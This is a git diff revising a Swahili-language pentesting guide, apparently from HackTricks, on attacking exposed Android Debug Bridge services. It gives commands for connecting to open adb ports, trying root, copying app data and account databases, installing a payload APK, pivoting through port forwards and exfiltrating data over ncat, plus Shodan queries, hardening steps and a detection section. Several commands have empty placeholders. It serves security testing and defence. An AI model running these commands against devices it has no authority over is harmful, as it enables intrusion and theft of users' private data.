diff --git a/src/network-services-pentesting/5555-android-debug-bridge.md b/src/network-services-pentesting/5555-android-debug-bridge.md index d0cf02874..0663c14a3 100644 --- a/src/network-services-pentesting/5555-android-debug-bridge.md +++ b/src/network-services-pentesting/5555-android-debug-bridge.md @@ -6,40 +6,141 @@ From [the docs](https://developer.android.com/studio/command-line/adb): -**Android Debug Bridge** (adb) ni zana ya amri ya mstari inayoweza kutumika kuwasiliana na kifaa. Amri ya adb inarahisisha vitendo mbalimbali vya kifaa, kama vile **kusanidi na kufanyia kazi programu**, na inatoa **ufikiaji wa shell ya Unix** ambayo unaweza kutumia kuendesha amri mbalimbali kwenye kifaa. +Android Debug Bridge (adb) ni zana ya amri ya kuwasiliana na vifaa na emulators vinavyotumia Android. Vitendo vya kawaida ni pamoja na kufunga pakiti, kutatua matatizo, na kupata shell ya Unix ya mwingiliano kwenye kifaa. -**Port ya kawaida**: 5555. +- Bandari ya TCP ya kihistoria: 5555 (hali ya "adb tcpip" ya jadi). +- Urekebishaji wa kisasa wa Wireless (Android 11+) unatumia TLS pairing na mDNS huduma ya kugundua. Bandari ya kuungana ni ya kubadilika na inagunduliwa kupitia mDNS; inaweza isiwe 5555. Pairing inafanywa kwa adb pair host:port ikifuatiwa na adb connect. Tazama maelezo hapa chini kwa athari za kushambulia. + +Example nmap fingerprint: ``` PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) ``` ## Connect -Ikiwa unapata huduma ya ADB ikifanya kazi kwenye bandari ya kifaa na unaweza kuungana nayo, **unaweza kupata shell ndani ya mfumo:** +Ikiwa unapata ADB imewekwa wazi na inapatikana, jaribu kuungana na kuhesabu haraka: ```bash -adb connect 10.10.10.10 -adb root # Try to escalate to root -adb shell +adb connect [:] # Default is 5555 for classic mode +adb devices -l # Confirm it shows as "device" (not unauthorized/offline) +adb shell # Get an interactive shell (uid usually shell) +whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port +adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT ``` -Kwa maelezo zaidi ya amri za ADB angalia ukurasa ufuatao: +- Ikiwa kifaa kinatekeleza uthibitishaji wa ADB (ro.adb.secure=1), utahitaji kuwa umeidhinishwa mapema (USB RSA auth) au kutumia Android 11+ Wireless debugging pairing (ambayo inahitaji msimbo wa mara moja unaoonyeshwa kwenye kifaa). +- Picha za wauzaji wengine, ujenzi wa uhandisi/userdebug, emulators, TVs, STBs na vifaa vya maendeleo vinatoa adbd bila uthibitisho au na adbd ikikimbia kama root. Katika hali hizo, kwa kawaida utaingia moja kwa moja kwenye shell au root shell. + +Kwa rejeleo la jumla la amri za ADB, angalia: {{#ref}} ../mobile-pentesting/android-app-pentesting/adb-commands.md {{#endref}} -### Punguza data ya programu +## Haraka Baada ya Utekelezaji -Ili kupakua kabisa data ya programu unaweza: +Mara tu unapo kuwa na shell, thibitisha haki na muktadha wa SELinux: ```bash -# From a root console -chmod 777 /data/data/com.package -cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data. -adb pull "/sdcard/com.package" +id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint ``` -Unaweza kutumia hila hii **kurejesha taarifa nyeti kama nywila za chrome**. Kwa maelezo zaidi kuhusu hii angalia taarifa kwenye viungo vilivyotolewa [**hapa**](https://github.com/carlospolop/hacktricks/issues/274). +### Kuorodhesha na kukamata data + +- Orodhesha programu za upande wa tatu na njia: +```bash +pm list packages -3 +pm path +``` +- Ikiwa una root (adb root au su inafanya kazi), unaweza kufikia /data moja kwa moja. Ikiwa la, pendelea run-as kwa programu zinazoweza kudhibitiwa: +```bash +# Bila root, kwa programu inayoweza kudhibitiwa +run-as sh -c 'cd /data/data/ && tar cf - .' | tar xf - -C ./loot/ + +# Kwa root +cp -a /data/data/ /sdcard/ +exit +adb pull "/sdcard/" +``` +- Vitu vya mfumo vinavyofaa (root inahitajika): +- /data/system/users/0/accounts.db na data zinazohusiana na AccountManager +- /data/misc/wifi/ (mipangilio/ufunguo wa mtandao kwenye toleo za zamani) +- DB za SQLite maalum za programu na shared_prefs chini ya /data/data/ + +Unaweza kutumia hii kupata taarifa nyeti (mfano, siri za programu). Kwa maelezo kuhusu kuzingatia data za Chrome, angalia suala lililotajwa [hapa](https://github.com/carlospolop/hacktricks/issues/274). + +### Utekelezaji wa msimbo na utoaji wa payload + +- Sakinisha na ujipe ruhusa za wakati halisi: +```bash +adb install -r -g payload.apk # -g inatoa ruhusa zote za wakati halisi zilizotangazwa kwenye manifest +adb shell monkey -p -c android.intent.category.LAUNCHER 1 +``` +- Anza shughuli/huduma/matangazo moja kwa moja: +```bash +adb shell am start -n / +adb shell am startservice -n / +adb shell am broadcast -a +``` + +### Kuelekeza bandari na pivoting + +Hata bila root, adb inaweza kuelekeza bandari za ndani kwa bandari za kifaa na kinyume chake. Hii ni muhimu kufikia huduma zilizofungwa ndani kwenye kifaa au kufichua huduma za mshambuliaji kwa kifaa. + +- Elekeza mwenyeji->kifaa (fikia huduma ya ndani ya kifaa kutoka kwa mwenyeji wako): +```bash +adb forward tcp:2222 tcp:22 # Ikiwa kifaa kinaendesha SSH (mfano, Termux/Dropbear) +adb forward tcp:8081 tcp:8080 # Fichua seva ya ndani ya debug ya programu +``` +- Kinyume cha kifaa->mwenyeji (ruhusu kifaa kufikia huduma kwenye mwenyeji wako): +```bash +adb reverse tcp:1080 tcp:1080 # Programu za kifaa sasa zinaweza kufikia mwenyeji:1080 kama 127.0.0.1:1080 +``` +- Uhamasishaji wa faili kupitia soketi (hakuna maandiko ya sdcard): +```bash +# Kwenye mwenyeji: sikiliza +ncat -lvp 9000 > dump.tar +# Kwenye kifaa: tuma directory kama tar (root au run-as kama inavyofaa) +adb shell "tar cf - /data/data/" | ncat 9000 +``` + +## Ufuatiliaji wa Wireless (Android 11+) + +Android ya kisasa inatekeleza ufuatiliaji wa wireless ulio na ulinzi wa TLS na uunganisho wa upande wa kifaa na ugunduzi wa mDNS: +```bash +# On the device: Developer options -> Wireless debugging -> Pair device with pairing code +# On attacker host (same L2 network, mDNS allowed): +adb pair : # Enter the 6-digit code shown on device +adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services +adb connect : +``` +Notes +- Ports ni za dinamik; usidhani 5555. Majina ya huduma ya mDNS yanaonekana kama: +- _adb-tls-pairing._tcp (kuunganishwa) +- _adb-tls-connect._tcp (kuunganishwa kwa pamoja) +- _adb._tcp (urithi/plain) +- Ikiwa mDNS imechujwa, kuwezesha USB-assisted kunaweza bado kufanya kazi kwenye baadhi ya toleo: `adb tcpip 5555` kisha `adb connect :5555` (hadi upya). + +Madhara ya kushambulia: ikiwa unaweza kuingiliana na UI ya kifaa (kwa mfano, ufikiaji wa kimwili au makosa ya usanidi wa MDM ya simu) ili kuwezesha Wireless debugging na kuona msimbo wa kuunganishwa, unaweza kuanzisha channel ya ADB iliyounganishwa kwa muda mrefu bila kebo. Baadhi ya OEMs huweka ADB juu ya TCP katika picha za uhandisi/maendeleo bila kuunganishwa—daima angalia. + +## Hardening / Detection + +Walinda wanapaswa kudhani adbd yoyote inayoweza kufikiwa (TCP) ni hatari muhimu. + +- Zima ADB na Wireless debugging wakati hazihitajiki. Futa ruhusa za USB debugging katika chaguzi za Developer. +- Hakikisha sera ya mtandao inazuia TCP/5555 inayokuja na ugunduzi wa ADB wa mDNS kwenye sehemu zisizoaminika. +- Kwenye vifaa chini ya udhibiti wako: +```bash +settings put global adb_enabled 0 +setprop service.adb.tcp.port -1 # zima kusikiliza TCP (au tumia: adb usb) +stop adbd; start adbd # anzisha tena daemon +``` +- Fuata rekodi za mDNS `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` kwenye mitandao ya kampuni na arifa za wasikilizaji wa 5555 wasiotarajiwa. +- Orodhesha kwa ajili ya toleo zisizo salama: `getprop ro.debuggable`, `ro.build.type`, na `ro.adb.secure`. ## Shodan -- `android debug bridge` +- android debug bridge +- port:5555 product:"Android Debug Bridge" +## References + +- Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb +- AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md {{#include ../banners/hacktricks-training.md}}